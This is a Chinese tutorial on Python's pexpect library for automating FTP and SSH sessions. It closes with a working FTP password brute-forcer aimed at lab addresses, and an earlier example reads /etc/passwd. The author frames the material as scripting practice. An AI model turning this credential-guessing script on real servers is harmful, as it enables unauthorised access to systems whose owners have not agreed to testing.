python使用pexpect实现ftp的操作

本文作者:hell0_w

砸个广告:各位在网络安全方面有新创作的小伙伴,快将你们的心得砸过来吧~

文章以word形式发至邮箱:

minwei.wang@dbappsecurity.com.cn

有偿投稿,记得留下你的姓名联系方式哦~

先来介绍一下pexpect,pexpect可以理解为Linux下expect(不知道的可以百度下linux expect)的python封装。通过pexpect可以实现对ssh、ftp、passwd、telnet等命令进行自动交互,而无需人工干涉来达到自动化的目的。比如我们可以模拟一个FTP登录时的所有交互,包括输入主机地址、用户名、密码,还有对文件上传下载操作等等,若出现异常,我们也可以进行自动化处理。

Pexpect的安装

可以使用pip安装

pip install pexpect

也可以使用easy_install

easy_install pexpect

本菜鸡在win7下使用pip安装的时候抛出好多异常,简直阔怕(后来发现是我的疏忽,我py2和py3同存的问题)无奈只能通过下载模块之后本地安装。

下载地址:

https://pypi.python.org/pypi/pexpect/

适用于py2和py3

下载完成之后找到对应路径直接使用pip安装即可

后来遇到个坑,发现windows下不支持pexpect,只好改换linux

一个简单的ftp登录脚本

#coding:utf-8

import pexpect

ftp = pexpect.spawn('ftp 192.168.112.129') #spawn启动ftp程序

ftp.expect('Name') #expect方法等待子程序产生的输出,判断是否匹配定义的字符串Name

ftp.sendline('anonymous') #匹配后发送用户名字符串进行回应

ftp.expect('Password:')

ftp.sendline('anonymous')

ftp.sendline('pwd')

ftp.interact() #执行完成后保持交互状态,把控制权交给控制台

运行结果:

pexpect组件简介

1. spawn类

spanw是pexpect的主要接口,功能就是启动和控制子应用程序。spawn()中可以是系统中的命令,但是不会解析shell命令中的元字符,包括重定向“>”,管道符“|”或者通配符“*”,但是我们可以将含有这三个特殊元字符的命令作为/bin/bash的参数进行调用,例如:

she = pexpect.spawn(‘/bin/bash –c “cat /etc/passwd | grep root > log.txt”’)

she.expect(pexpect.EOF)

spawn支持使用python列表来代替参数项,比如上述命令可变为:

command = ‘cat /etc/passwd | grep root > log.txt’

she = pexpect.spawn(‘/bin/bash’,[‘-c’,command])

she.expect(pexpect.EOF)

(1)expect方法:expect定义了子程序输出的匹配规则。也可使用列表进行匹配,返回值是一个下标值,如果列表中有多个元素被匹配,则返回的是最先出现的字符的下标值。

如上边的脚本中ftp.expect('Name'),返回值为0

列表的情况如下图,返回值为2

(2)read方法:向子程序发送响应命令,可以理解为代替了我们的键盘输入。

例如:

send(self,s) 发送命令,不回车

sendline(self,s=’’) 发送命令,回车

sendcontrol(self,char) 发送控制字符test.sendcontrol(‘c’)等价于“ctrl+c”

sendeof() 发送eof

2. run函数

run是使用pexpect进行封装的调用外部命令的函数,类似于os.system()或os.popen()方法,不同的是,使用run可以同时获得命令的输出结果及其命令的退出状态。

pexpect.run('sshxxx@x.x.x.x',events={'password:':'xxx'})

events是个字典

3. pxssh类

pxssh是pexpect的派生类,常用的方法有:

login() 建立ssh连接

logout() 断开连接

prompt() 等待系统提示符,用于等待命令执行结束。

一个简单的ssh登录交互式脚本

#coding:utf-8

import pxssh

hostname = '192.168.112.129'

username = 'msfadmin'

password = 'msfadmin'

try:

ssh = pxssh.pxssh()

ssh.login(hostname,username,password)

ssh.sendline('whoami')

ssh.prompt() #匹配系统提示符

print ssh.before #打印系统提示符前的输出

except pxssh.ExceptionPxssh,e:

print "登录失败"

print str(e)

编写实现ftp服务状态测试以及登录口令破解功能

(脚本文档点击阅读原文获取,提取码:7m0a)

#coding:utf-8

import pexpect

def ftp_connect(ip,username,password):

try:

ftp = pexpect.spawn('ftp ' + ip,timeout=0.15) #设置超时时间为0.15s

ftp.expect('Name')

print ip + " Ftp service is opening"

ftp.sendline(username)

print ftp.before

print "testing username: " + username

ftp.expect('Password:')

ftp.sendline(password)

print "testing password: " + password

ftp.expect('Login successful')

print "[+]successfully! username is " + username

print "[+]successfully! password is " + password

ftp.sendline('bye')

ftp.close()

return message

except Exception,e:

print "[-]error!"

def ip():

ip_list = []

ip = "192.168.112."

for i in xrange(128,130):

ip += str(i)

ip_list.append(ip)

ip = "192.168.112."

return ip_list

def payloads_list():

ip_list = ip()

username_list = ['root','admin','msfadmin','anonymous','ftpuser']

password_list = ['password','123456','msfadmin']

payload = []

payloads = []

for a in ip_list:

for b in username_list:

for c in password_list:

payload.append(a)

payload.append(b)

payload.append(c) #把所需参数加入payload中

for i in range(0,len(payload),3):

payloads.append(payload[i:i+3]) #将payload切割,生成一一对应的参数放入新的列表中

return payloads

def attack():

payloads = payloads_list()

for i in range(len(payloads)):

ftp_connect(payloads[i][0],payloads[i][1],payloads[i][2])

if __name__ == '__main__':

attack()

脚本运行结果(部分结果):

这也算是个多功能脚本吧,测试ssh的时候,只需替换相应的代码即可。当然不比其他工具,算是个练习吧,练习编写脚本的能力。

-END-

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180509G0CVSH00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券